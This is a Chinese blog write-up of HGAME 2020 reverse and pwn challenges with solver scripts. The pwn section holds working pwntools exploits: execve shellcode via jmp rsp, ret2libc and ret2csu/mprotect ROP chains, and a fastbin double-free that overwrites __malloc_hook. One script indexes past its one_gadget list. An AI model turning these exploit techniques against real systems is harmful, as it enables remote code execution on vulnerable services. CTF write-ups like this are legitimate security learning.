This page looks best with JavaScript enabled

HGAME_2020 Pwn Re 部分题解

 ·  ☕ 15 min read · 👀... views

这次比赛带给我的感觉是 难度适中 收获颇多
因此这里做一个记录和分享
(顺便吐槽一下:官方WP能不能再简略一点!菜比的我看着WP还是不会做啊啊啊)

Reverse:

maze

很典型的一道迷宫题,只是这个迷宫有点大 所以就不转二维了,直接线性做 判断好边界条件就可以

Py模拟一手广搜

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
box = [
  0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 
-------------------  以下省略n行 -------------------------
  0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 
  0x01, 0x01, 0x00, 0x01
]
v5 =  68    # start:68  dst:956       0 -- 1020


class node:
    def __init__(self):
        self.v5 = 68
        self.flag = []
    def __str__(self):
        print(self.v5, self.flag)

start = node()
queue = [start]

while len(queue):
    now = queue[0]
    queue = queue[1:]   # 弹出首元素
    box[now.v5] = 0x01
    # print(len(now.flag), end=" ")
    print(hex(now.v5 + 0x602080), now.flag)

    if(len(now.flag) > 40):
        continue
    if now.v5 == 956:
        print("OK")
        print(now.flag)
        now.flag = [chr(x) for x in now.flag]
        print("".join(now.flag))
        break
    if now.v5 + 4 <= 1020 and box[now.v5+4] == 0x00:
        next = node()
        next.v5 = now.v5 + 4
        next.flag = now.flag
        next.flag.append(100)
        queue.append(next)
    if now.v5 + 64 <= 1020 and box[now.v5+64] == 0x00:
        next = node()
        next.v5 = now.v5 + 64
        next.flag = now.flag
        next.flag.append(115)
        queue.append(next)     
    if now.v5 - 4 >= 0 and box[now.v5-4] == 0x00:
        next = node()
        next.v5 = now.v5 - 4
        next.flag = now.flag
        next.flag.append(97)
        queue.append(next)
    if v5 - 64 >= 0 and box[now.v5-64] == 0x00:
        next = node()
        next.v5 = now.v5 - 64
        next.flag = now.flag
        next.flag.append(119)
        queue.append(next)

advance

定位关键函数sub_140001EB0

advance

跟进发现里面就是一个base64加密,但是从比较字符串来看明显不是正常的base64ciper,跟进aAbcdefghijklmn数组
advance

对比正常的base64 box
advance

很明显了,调换了大写字符所在顺序,跑个脚本把顺序换回来,再用base64解密就行了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import base64
a = "abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
ciper = "0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX"
flag_base64 = ""
ciper_list = list(ciper)
for i in ciper_list:
    flag_base64 += b[a.find(i)]
print(flag_base64)
print( base64.b64decode(flag_base64.encode()) )

bitwise

(做这题的时候 满脑子在想:出题人在哪…)

分成三个部分看

bitwise

逆推,第三部分按照hint推完后是

新v14 = v14 ^ v16
新v16 = v16 ^ 新v14 ^ v6 = v16 ^ v14

第二部分最麻烦,看到这么一大片与运算和或运算,第一反应就是不可逆,直接可以把逻辑拖出来爆破。但是要注意的是C语言定义的数据类型对移位运算的影响和符号位的处理。我这里直接将符号位无视,把原始的16进制拖出来做box,然后左移运算的时候用 &0xFF 取余
第一部分,动调分析功能,这两个函数的作用就是把我们输入的每两位,变成一个新的字符,比如输入0和f,将其组合成0x0f,以此类推将数据输出到v14和v16中,那逆运算只需要将16进制数据四位四位拆出来就行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
last_v16 = [0x45, 0x61, 0x73, 0x79, 0x6C, 0x69, 0x66, 0x33]
last_v14 = [0x65, 0x34, 0x73, 0x79, 0x5F, 0x52, 0x65, 0x5F]
v6 = [76, 60, 0xD6, 54, 80, 0x88, 32, 0xCC]

mid_v14 = [i^j for i,j in zip(last_v14, v6)]
mid_v16 = [i^j for i,j in zip(mid_v14, last_v16)]
print("mid_v14: ", (mid_v14))
print("mid_v16: ", mid_v16)

v14 = []
reverse_v16 = []
for k in range(8):
    bj = 0
    for i in range(256):
        tmp_i = i
        if bj == 1:
            break
        for j in range(256):
            i = tmp_i
            tmp_j = j
            i = ( (i & 0xE0)>>5 ) | ((8*i) & 0xFF)
            i = i & 0x55 ^ ( ( j & 0xAA ) >> 1 ) | i & 0xAA 
            j = 2 * ( i & 0x55 ) ^ (j & 0xAA) | j & 0x55
            i = i & 0x55 ^ ( (j & 0xAA) >> 1 ) | i & 0xAA
            # print(i, j)
            if i == mid_v14[k] and j == mid_v16[7-k]:
                v14.append(tmp_i)
                reverse_v16.append(tmp_j)
                bj = 1
                print("ok")
    print(v14, reverse_v16)
v16 = list(reversed(reverse_v16))

tmp = v14+v16
flag = ""
for i in tmp:
    i = hex(i).strip("0x")
    if len(i) == 1:
        flag += ("0")
    flag += i
print("hgame{"+flag+"}")

unpack

64位elf upx加壳,然后出题人不知道动了什么手脚upx -d无法脱壳(后来知道是改了分区表),只能动调手脱。在每个call的地方下断点步过,如果炸了就重启程序步入。因为upx壳会解密程序然后跳过去执行,所以真正的程序代码必然藏在某次call中,如果炸了,说明程序已经跑完,所以要步入。这样三四次后就会进入真正的程序段

unpack

跑个idc脚本,直接把程序dump出来,脱壳后的程序就长这样了

unpack

ciper = [
    0x68, 0x68, 0x63, 0x70, 0x69, 0x80, 0x5B, 0x75, 0x78, 0x49, 
    0x6D, 0x76, 0x75, 0x7B, 0x75, 0x6E, 0x41, 0x84, 0x71, 0x65, 
    0x44, 0x82, 0x4A, 0x85, 0x8C, 0x82, 0x7D, 0x7A, 0x82, 0x4D, 
    0x90, 0x7E, 0x92, 0x54, 0x98, 0x88, 0x96, 0x98, 0x57, 0x95, 
    0x8F, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]
flag = ""
for i in range(42):
    flag += chr(ciper[i] - i)

print(flag)

关于手脱upx壳可参考这篇博客 写的更为详细
http://www.qfrost.com/CTF/upx/

babyPy

题目给出的是纯文本的字节码 需自行查阅官方文档 将字节码写为python代码后再进行逆推

推出的python代码大致是这样的

#-*- coding: UTF-8 -*

def encrypt(OOo):
    O0O = OOo[slice(None, None, -1)]   # 逆序
    O0o = list(O0O)
    for O0 in range(1, len(O0o)):
        Oo = O0o[O0-1] ^ O0o[O0]
        O0o[O0] = Oo
    O = bytes(O0o)
    return hex(O)

import dis
print(dis.dis(encrypt))
# https://www.cnblogs.com/blili/p/11804690.html
# https://docs.python.org/2/library/dis.html

那就可以秒了

1
2
3
4
5
6
7
8
import re
ciper = '7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22'
a = [eval('0x'+x) for x in re.findall(r'.{2}', ciper)]
for i in range(len(a)-1, 0, -1):
    a[i] ^= a[i-1]
a.reverse()
flag = [chr(x) for x in a]
print("".join(flag))

babyPyc

这题就不太好做了,pyc文件被加了混淆,不能直接反编译出来

赛后复盘的时候看到了zb姐姐的博客,关于Python字节码的混淆写的非常详细了,这里附上链接

https://processor.pub/2019/02/20/Python_Opcode/

这题因为被加了一个绝对跳转,所以不能直接用 Uncompyle6 或者 https://tool.lu/pyc 进行反编译。对于这种情况只能是用dis和marshal读出Opcode。但是用marshal.loads的时候必须读掉前16字节的pyc头(比赛的时候我就死在这里,以为是pyc头被改了导致工具不能反编译,所以一直在检查前16字节的头的问题)。

1
2
3
4
5
import dis, marshal
with open("babyPyc.pyc",'rb') as fp:
    fp.read(16)
    raw = marshal.loads(fp.read())
    print(dis.dis(raw))

用这个代码就可以还原出类似于上一题的纯字节码。剩下的除了一个code object嵌套外就没什么难点了,这题官方wp写的还是比较详细的,有问题可以查官方wp,这里就不详谈了。

Classic_CrackMe

这题逻辑非常清楚,但是奈何Crypto实在太差 做不出。这里提供fjh1997师傅的wp

Classic_CrackMe

根据上图左侧可以无脑算IV

Classic_CrackMe

IV算出来,接下来容易的一批,但这个软件有bug,因此128输入算出来居然有256位,取前128位当新的IV即可。

Classic_CrackMe

Classic_CrackMe

加起来flag就是hgame{L1R5WFl6UG5ZOyQpXHdlXw==DiFfer3Nt_w0r1d}

oooollvm

题目提示了是Obfuscator-LLVM混淆,但实际没用(因为貌似没有工具能直接反混淆)

通读代码可以看到大部分的while和if都是无用的,定位关键判断

oooollvm

因为输入的s和box(table1 table2)均只在这个if中出现,故猜测这里就是全部逻辑,因为运算不可逆,写一个爆破即可

table1 = [
    0xA2, 0xBD, 0x27, 0xA7, 0xA3, 0xCC, 0x54, 0xB5, 0xBA, 0xBC, 
    0x69, 0x9A, 0x19, 0x0E, 0x98, 0x59, 0x0D, 0x61, 0x75, 0xB6, 
    0x41, 0xC0, 0x54, 0x97, 0x49, 0xCC, 0x08, 0x1C, 0x7A, 0x8E, 
    0xA2, 0x5D, 0x19, 0x45, 0x00
]
table2 = [
    0xCA, 0xD9, 0x48, 0xC7, 0xC2, 0xAA, 0x35, 0xF0, 0xAE, 0xB3, 
    0x1E, 0x8E, 0x04, 0x2E, 0xF9, 0x2B, 0x52, 0x1F, 0xD7, 0x85, 
    0x30, 0x8D, 0x34, 0xCC, 0x34, 0x91, 0x5C, 0x02, 0xFF, 0xC6, 
    0x90, 0x30, 0x7C, 0x1B
]


flag = ""
for i in range(39):
    for j in range(0xFF):
        if ( (j & 0xE51AFD52 | ~j & 0x1AE502AD) ^ ((table1[i] + i) & 0xE51AFD52 | ~(table1[i] + i) & 0x1AE502AD) ) == table2[i]:
            flag += chr(j)
            print(flag)
            if '}' in flag:
                exit()
            break

hidden

常规套路发现不能F5 跟进发现其中的有个函数竟然不返回,直接以int 3结尾了,导致程序运行后会直接断死在这个sub_1400010C0函数内,导致了看起来是用于flag判断的if其实根本无法被执行到

hidden

hidden

但是运行程序确实可以看到有对flag进行检查并输出检查结果,因此可以猜测sub_140001030这个用于输出flag check结果的函数在别的地方被调用了 查看Xrefs可以看到除这里外只有sub_1400010C0函数调用了它,那问题的关键还是定位到这个0C0函数

hidden

lzyddf师傅指出可以重新用IDA载入文件F5 sub_1400010C0函数,可以看到这里分奇偶进行了一堆异或,百度可知这里是进行了CRC32建表,然后将一些硬编码写到了VirtualAlloc分配的内存上

hidden

在这个函数内感觉有问题的就是这里,因为只有这里出现sub_140001030的指针

hidden

hidden

因为sub_1400010C0函数是以int 3结尾 很明显程序运行后会断死在这一行里,然后在sub_1400010C0函数内可以看到先push了r9后 call r8 ,r9是exit函数,而r8就是分配出来的内存的某一偏移。那必然r8将会是问题的关键(因为后面exit了,flag的check必然在其前面),跟进后按‘p’分析代码就可以看到真正的逻辑了

hidden

ciper = [
    0x46, 0x88, 0x8F, 0x75, 0x47, 0x4B, 0x75, 0x7B, 0x8E, 0x79, 
    0x7F, 0x8A, 0x7B, 0x7A, 0x75, 0x48, 0x7B, 0x7B, 0x7B, 0x4B, 
    0x82, 0x87, 0x7D, 0x4B, 0x5D, 0x88, 0x9B, 0xA7, 0x50, 0x73, 
    0x81, 0x81, 0x9A, 0x72, 0xFA, 0x57, 0x4F, 0x57, 0x65, 0x7D, 
]
v10 = ciper[-2:]

for j in range(18,-1,-1):
    for k in range(1,-1,-1):
        ciper[j+19] ^= ciper[j]
        ciper[j+19] += 103
        ciper[j] -= v10[k]
        ciper[j] ^= ciper[j+19]
print(ciper)
print("".join([chr(x&0xFF) for x in ciper]))

bbbbbb

这题也是赛后复盘,这个反调和算法属实有点意(er)思(xin)

通过查导入表的交叉引用可以找到sub_140002500是main函数。可以看到,紧跟着输入的是这一部分内容

hidden
这块内容就非常重要了,要是看不懂后面就不用看了。首先非常明显,这里一个do-while循环会进行4次,然后有调用atoi函数,并将其结果保存到一个长度为4的数组里。然后在上面的函数里可以看到有调用memchr函数,这个函数的作用是在字符串中查找一个字符的位置,通过动调可以知道查找的是"_"。然后修改输入多次动调就可以发现,这个do-while的作用就是将输入以"_“为分割符切割成4份,并通过atoi函数将其转化为数字存储在一个数组里。

然后接下来第二部分,这里就是纯拼基础了。
hidden

可以看到连着调用了几个API获取当前进程线程信息,当时我第一反应就是反调,但是比赛的时候怎么都看不出来这个反调是怎么实现的,赛后复盘的时候才知道是怎么回事。在sub_140001010函数里对传进去的指针进行了一个初始化赋值,这里看了官方题解才知道是sha类哈希函数。是用于设置sha_key的。检查参数调用,就可以知道sub_140001090里面必然有sha加密函数。然后我们看 K32GetModuleInformation ,这个API获得了modinfo,里面保存了进程的基址,然后在下面的do-while循环里会将这个地址的0x1000*5字节的值进行sha运算。这段空间内包含了大部分的函数,将这段空间的值进行哈希可以防止调试时的普通断点(因为普通断点会产生0xCC)。然后通过 GetThreadContext API获取到了进程上下文,保存在Dst指针里。我们可以看一下 GetThreadContext的原型和 lpContext 结构体

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
BOOL WINAPI GetThreadContext(
  __in     HANDLE hThread,
  __inout  LPCONTEXT lpContext
)

typedef struct DECLSPEC_ALIGN(16) _CONTEXT {
...
// Debug registers
DWORD64 Dr0;
DWORD64 Dr1;
DWORD64 Dr2;
DWORD64 Dr3;
DWORD64 Dr6;
DWORD64 Dr7 
...
} CONTEXT;  

可以看到,这个结构体里保存着Drx寄存器的值,就是硬件调试寄存器。其中Dr0-3,就是对应四个硬件断点,而 Dr7 则是状态控制寄存器。简单来说,如果用下了硬件断点,那么这五个寄存器
的值就会被改变(就至少有两个不为0)。这四个API配合起来,直接抵御了普通断点和硬件断点。

下面就要康康怎么解决这个问题了。把断点下在最后的那个if比较处,可以看到,这里的rdi的值就是我们的输入经过atoi转化后的值,而rax是与hash有关的ciper。直接拿输入做比较让我感觉有点奇怪,然后我把输入的值整段做了读写断点跟了几遍发现在hash运算中并没有用到我的输入!然后检查这个rax是从何而来的,jump到rdi的位置,可以看到这个ciper在input的0x10偏移处。这样,其实就确定了,正常运行的情况下,这个rax的值必然是一个确定的值,我们只要那到正确运算的hash这题就解决了。这里我想到的解决方法只有两个:

  1. 一个是逆那个算法,因为输入是不参与运算的,而这个算法又是固定的,想办法自己把代码段dump出来加上Drx的值把正确的hash值算出来;
  2. 第二个方法是先让程序正常的跑起来,然后想办法让程序在结束前停下,通过自己的输入找到正确的ciper。

这两个方法实施起来其实都不容易,然后我看到了一个大佬的博客才知道还有这种骚操作。可以把断点下在exit处
hidden

对照前面的代码段加密的语句,就会发现这里并不包含在那0x1000*5的空间内,也就是说把断点下在这里,就可以成功停下程序。然后因为PIE的问题,每次输入的地方地址都不一样,所以我在 call GetCurrentProcess(0x140002E7F) 处下了一个断点,记录一下输入的地址,然后去掉这个断点(一定要去掉,不然断点就会被加入sha运算),F9运行,在 call exit 的时候拿出正确的ciper内存

0xEA, 0x07, 0xA1, 0x4D, 0xAD, 0x77, 0x28, 0x93, 0x14, 0x72, 
0x85, 0x5A, 0x6B, 0xE4, 0x67, 0xC7

因为这个内存是被atoi计算后的结果,手逆也可以,但是还有更省力的方法。因为注意到在通过if检测后,程序会对atoi的结果做逆运算,然后包上flag头进行输出,我们可以利用它这个特征,同样在call GetCurrentProcess(0x140002E7F) 处下断,这个时候atoi已经计算完毕了,把正确的ciper直接改写到内存处,覆盖错误的atoi结果,然后同样去掉断点F9就可以让程序自动的输出逆运算的结果了。
hidden
hidden

这题官方题解并没有提供具体做法,只提供了4种思路,和我的方法都不太一样,但这解法还是非常骚的:

  1. 内存dump,每个page_size加上32bytes的0,运算sha256
  2. 内存断点(这个具体怎么实施想不出)
  3. hook K32GetModuleInformation,然后下硬件断点
  4. vm断点

Pwn:

Hard_AAAA

这题一眼看去就能看到memcmp的第三个参数很奇怪,为什么会是7字节,然后跟进其第一个参数可以看到,在 “0O0o” 后紧跟着一个char数组,而我们知道char数组末尾必有一个 “\x00” 截断,因此构造payload绕过memcmp即可
AAAAA

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#-*- coding: UTF-8 -*
from pwn import *
FILE_NAME = "Hard_AAAAA"
IS_64 = False
if IS_64:
	context(arch="amd64",os="Linux")
	libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
	context(arch="i386",os="Linux")
	libc = ELF("/lib/i386-linux-gnu/libc.so.6")

if len(sys.argv) < 2:
	sh = process("./"+FILE_NAME)
else:
	if len(sys.argv) == 2:
		host, port = sys.argv[1].split(":")
		sys.argv[1] = host
		sys.argv.append(int(port))
	sh = remote(sys.argv[1], int(sys.argv[2]))
	# libc = ELF("libc-2.19.so")

context.log_level = "debug"
elf = ELF(FILE_NAME)

offset = 0xAC - 0x31
payload = offset*'\x00' + "0O0o" + '\x00' + 'O0'
sh.sendline(payload)

sh.interactive()

Number_kill

这题想了挺久的,有个jmp rsp, 并且可以溢出0x28字节。但是有几个难点,首先如果直接给溢出的0x30空间写shellcode的话然后用jmp rsp跳过去的话,atoll函数会转化掉payload,所以我们必然要将payload进行转化。题目其实已经有了提示了:“请用数字Pwn me” 我们可以使用u64将payload转化为数字,然后atoll函数,会再次的将数字变成shellcode存储在溢出空间里,用jmp rsp跳过去就行了。
然后还有一个问题就算直接用 pwntools.shellcraft 生成的shellcode太长了,溢出空间不足以装下这个shellcode 此处感谢 @Freedom 师傅的shellcode,只有0x17字节 可以解决这个问题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#-*- coding: UTF-8 -*
from pwn import *
FILE_NAME = "Number_Killer"
IS_64 = True
if IS_64:
	context(arch="amd64",os="Linux")
	libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
	context(arch="i386",os="Linux")
	libc = ELF("/lib/i386-linux-gnu/libc.so.6")

if len(sys.argv) < 2:
	sh = process("./"+FILE_NAME)
else:
	if len(sys.argv) == 2:
		host, port = sys.argv[1].split(":")
		sys.argv[1] = host
		sys.argv.append(int(port))
	sh = remote(sys.argv[1], int(sys.argv[2]))
	# libc = ELF("libc-2.19.so")

context.log_level = "debug"
elf = ELF(FILE_NAME)
jmp_rsp = 0x40078D

sh.recvuntil("Let's Pwn me with numbers!\n")
for i in range(11):
	sh.sendline(str(0xa000000000))
sh.sendline(str(0xb00000000))  # 修改i
sh.sendline(str(0x000000000))  # rbp
sh.sendline(str(jmp_rsp))      # ret

payload = '\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
print hex(len(payload))
print payload
payload = payload.ljust(0x30, '\x00')
for i in range(6):
	num = u64(payload[i*8:(i+1)*8])
	print num
	# input()
	sh.sendline(str(num))

sh.interactive()

另一种方法是直接通过ROP leak出libc_base 然后ret2libc的方法getshell,这个方法应该相对更常规一些

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#-*- coding: UTF-8 -*
from pwn import *
FILE_NAME = "Number_Killer"
IS_64 = True
if IS_64:
	context(arch="amd64",os="Linux")
	libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
	context(arch="i386",os="Linux")
	libc = ELF("/lib/i386-linux-gnu/libc.so.6")

if len(sys.argv) < 2:
	sh = process("./"+FILE_NAME)
else:
	if len(sys.argv) == 2:
		host, port = sys.argv[1].split(":")
		sys.argv[1] = host
		sys.argv.append(int(port))
	sh = remote(sys.argv[1], int(sys.argv[2]))
	# libc = ELF("libc-2.19.so")

context.log_level = "debug"
elf = ELF(FILE_NAME)
pop_rdi_ret = 0x400803

# Leak libc_base
sh.recvuntil("Let's Pwn me with numbers!\n")
for i in range(13):
	sh.sendline(str(0xb00000000))
sh.sendline(str(pop_rdi_ret))
sh.sendline(str(elf.got["puts"]))
sh.sendline(str(elf.plt["puts"]))
sh.sendline(str(elf.symbols["main"]))
[sh.sendline(str(0)) for _ in range(3)]  # 循环要走20次,所以再发送三次无效数据

libc_base = u64(sh.recvuntil("\x7f")[-6:].ljust(8, '\x00')) - libc.symbols["puts"]
system = libc_base + libc.symbols["system"]
binsh = libc_base + libc.search("/bin/sh\x00").next()
log.success("libc_base: " + hex(libc_base))
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))

# Get shell
sh.recvuntil("Let's Pwn me with numbers!\n")
for i in range(13):
        sh.sendline(str(0xb00000000))
sh.sendline(str(pop_rdi_ret))
sh.sendline(str(binsh))
sh.sendline(str(system))
sh.sendline(str(elf.symbols["main"]))
[sh.sendline(str(0)) for _ in range(3)]

sh.interactive()

One_Shot

这个v4,刚开始看错了,被坑死了… 我们可以控制这个v4来实现任意地址修改为1,第一次输入的name填充32位后会覆盖flag的第一位为截断符,因为无PIE保护,用v4直接修改截断符的地址的值为1,就可以输出flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#-*- coding: UTF-8 -*
from pwn import *
FILE_NAME = "One_Shot"
IS_64 = True
if IS_64:
    context(arch="amd64",os="Linux")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    context(arch="i386",os="Linux")
    libc = ELF("/lib/i386-linux-gnu/libc.so.6")

if len(sys.argv) < 2:
    sh = process("./"+FILE_NAME)
else:
    if len(sys.argv) == 2:
        host, port = sys.argv[1].split(":")
        sys.argv[1] = host
        sys.argv.append(int(port))
    sh = remote(sys.argv[1], int(sys.argv[2]))
    # libc = ELF("libc-2.19.so")

context.log_level = "debug"
elf = ELF(FILE_NAME)

offset = 32
payload = offset*'a'
sh.sendlineafter("name?\n", payload)
sh.sendlineafter("shot!\n", str(6295776))

sh.interactive()

ROP_LEVEL0

因为在main函数里已经有读取另一个文件并输出其内容的代码,而其文件名是以数组的形式存储在某个位置的,我们只需要修改该数组内容为“flag”,劫持流程再次运行main函数,就可以自然的输出flag文件内的内容了。而存储文件名的数组所在的代码页是不具有可写权限的,同样需要使用ret2csu调用mprotect函数给它添加权限

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#-*- coding: UTF-8 -*
from pwn import *
FILE_NAME = "ROP_LEVEL0"
IS_64 = True
if IS_64:
    context(arch="amd64",os="Linux")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    context(arch="i386",os="Linux")
    libc = ELF("/lib/i386-linux-gnu/libc.so.6")

if len(sys.argv) < 2:
    sh = process("./"+FILE_NAME)
else:
    if len(sys.argv) == 2:
        host, port = sys.argv[1].split(":")
        sys.argv[1] = host
        sys.argv.append(int(port))
    sh = remote(sys.argv[1], int(sys.argv[2]))
    # libc = ELF("libc-2.19.so")

context.log_level = "debug"
elf = ELF(FILE_NAME)

def ret2csu(gadget1, gadget2, rdi, rsi, rdx, func_ptr, addr):
    #gadget1:add rsp, 8; pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
    #gadget2:mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
    payload = offset*'a'
    payload += p64(gadget1)
    payload += 8*'a'   #Padding
    payload += p64(0) + p64(1)
    payload += p64(func_ptr)
    payload += p64(rdx) + p64(rsi) + p64(rdi)
    payload += p64(gadget2)
    payload += 'a'*56
    payload += p64(addr)
    return payload

offset = 0x50 + 8
gadget1 = 0x400746
gadget2 = 0x400730
pop_rdi_ret = 0x400753
libc_base = 0

def leak_libc():
    global libc_base
    payload = offset*'a' + p64(pop_rdi_ret) + p64(elf.got["puts"])
    payload += p64(elf.plt["puts"]) + p64(elf.symbols['main'])
    sh.sendlineafter("flag\n", payload)
    libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - libc.symbols["puts"]
    log.success("libc_base: " + hex(libc_base))

def add_mprotect_got():
    payload = ret2csu(gadget1, gadget2, 0, 0x601010, 0x8, elf.got["read"], elf.symbols["main"])
    sh.sendafter("flag\n", payload)
    time.sleep(0.2)
    sh.send(p64(mprotect))   # 不可用sendline, 多余的换行符会被main的read读入
    time.sleep(0.2)

def call_mprotect():       # 调用mprotect将 char file[] 所在的地址段修改为可读可写
    payload = ret2csu(gadget1, gadget2, 0x400000, 0x1000, 7, 0x601010, elf.symbols["main"])
    sh.sendlineafter("flag\n", payload)
    time.sleep(0.2)

def get_flag():    # 将 char file[] 内的内容替换为 "flag" , 再调用main,即可得到flag
    payload = ret2csu(gadget1, gadget2, 0, 0x400774, 0x10, elf.got["read"], elf.symbols["main"])
    sh.sendafter("flag\n", payload)
    time.sleep(0.2)
    sh.sendline("flag\x00")

if __name__ == "__main__":
    leak_libc()
    mprotect = libc_base + libc.symbols["mprotect"]
    log.success("mprotect: "+ hex(mprotect))
    time.sleep(0.3)

    add_mprotect_got()
    call_mprotect()
    get_flag()
    sh.interactive()
    pass

这题ww师傅给出了另外一种做法
即重复利用万能gadget调用read, open, puts将flag读到bss段上后输出

  1 #!/usr/bin/python2
  2 
  3 from pwn import *
  4 import sys
  5 import os
  6 
  7 #context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
  8 context(arch='i386', os='linux', terminal=['tmux', 'splitw', '-h'])
  9 context.log_level='debug'
 10 debug = 0
 11 d = 1
 12 
 13 def pwn():
 14     execve = "./ROP_LEVEL0"
 15     if debug == 1:
 16         p = process(execve)
 17         if d == 1:
 18             gdb.attach(p)
 19     else:


 20         #ip = "10.0.%s.140" % sys.argv[1]
 21         ip = "47.103.214.163"
 22         host = "20003"
 23         p = remote(ip, host)
 24 
 25     elf = ELF("./ROP_LEVEL0")
 26 
 27     main = 0x40065B
 28     loc1 = 0x400730
 29     loc2 = 0x40074A
 30 
 31     payload = '\x00'*(0x50+8) + p64(loc2)
 32     payload += p64(0) + p64(1) + p64(elf.got['read']) + p64(0x10) + p64(elf.bss()+0x200) + p64(0) + p64(loc1)
 33     payload += p64(0)*7 + p64(main)
 34     p.sendafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag", payload.ljust(0x100, '\x00'))
 35 
 36     p.sendline('./flag\0')
 37 
 38     payload = '\x00'*(0x50+8) + p64(loc2)
 39     payload += p64(0) + p64(1) + p64(elf.got['open']) + p64(0)*2 + p64(elf.bss()+0x200) + p64(loc1)
 40     payload += p64(0)*7 + p64(main)
 41     p.sendafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag", payload.ljust(0x100, '\x00'))
 42 
 43     raw_input()
 44     payload = '\x00'*(0x50+8) + p64(loc2)
 45     payload += p64(0) + p64(1) + p64(elf.got['read']) + p64(0x60) + p64(elf.bss()+0x220) + p64(5) + p64(loc1)
 46     payload += p64(0)*7 + p64(main)
 47     p.sendafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag", payload.ljust(0x100, '\x00'))
 48 
 49     payload = '\x00'*(0x50+8) + p64(loc2)
 50     payload += p64(0) + p64(1) + p64(elf.got['puts']) + p64(0)*2 + p64(elf.bss() + 0x220) + p64(loc1)
 51     payload += p64(0)*7 + p64(main)
 52     p.sendafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag", payload.ljust(0x100, '\x00'))
 53 
 54     p.interactive()
 55 
 56 if __name__ == '__main__':
 57     pwn()

Roc826s_Note | working:Dsyzy

简单的堆溢出,存在doublefree,之后利用fastbin attack覆写malloc_hook为onegadget即可,但是onegadget一个本第可打通,一个远程可打通,exp如下

from pwn import *
context(log_level='debug')
#sh=process("./roc")
sh=remote("47.103.214.163",21002)
lib=ELF("libc-2.23.so")
def add(size,content):
	sh.sendlineafter(":","1")
	sh.sendlineafter("size?\n",str(size))
	sh.sendlineafter("content:",content)


def add2(size):
	sh.sendlineafter(":","1")
	sh.sendlineafter("size?\n",str(size))
def free(index):
	sh.sendlineafter(":","2")
	sh.sendlineafter("index?\n",str(index))


def show(index):
	sh.sendlineafter(":","3")
	sh.sendlineafter("index?\n",str(index))


def exit():
	sh.sendlineafter(":","4")


add(0x90,"aaa") #0
add(0x60,"bbb")	#1
free(0)
show(0)
sh.recvuntil("content:")
main_arena_addr=u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
log.success("main_arena_addr:"+hex(main_arena_addr))


libc_base=main_arena_addr- 88 - lib.symbols['__malloc_hook'] - 0x10
log.success("libc_base:"+hex(libc_base))


ongadget=[0x45216,0x4526a,0xf02a4,0xf1147]
one=libc_base+ongadget[4]
log.success("one:"+hex(one))


malloc_hook=libc_base+lib.symbols['__malloc_hook']
realloc_hook=libc_base +lib.symbols["__realloc_hook"]
log.success("malloc_hook:"+hex(malloc_hook))


payload = p64(malloc_hook -0x23)
#uaf fastbin attack go go go


add(0x60,"aaa") #2
add(0x60,"ccc") #3
add(0x60,"ddd") #4


free(2)
free(3)
free(2)
#malloc_hook:0x7f8d64e30b10
add(0x60,payload)
add(0x60,"aaa")
add(0x60,"bbb")
payload='a'*0xb+p64(one)+p64(one)
#attach(sh,"b *0x0000000000400BAD")
add(0x60,payload)


add2(0x10)
sh.interactive()

Another_Heaven | working:Dsyzy

这个开始会把flag读取到bss上。考虑怎么泄露。

Another_Heaven

这里可以修改任意内存的一个字节,观察之后发现在下图处会再次调用flag一次

Another_Heaven

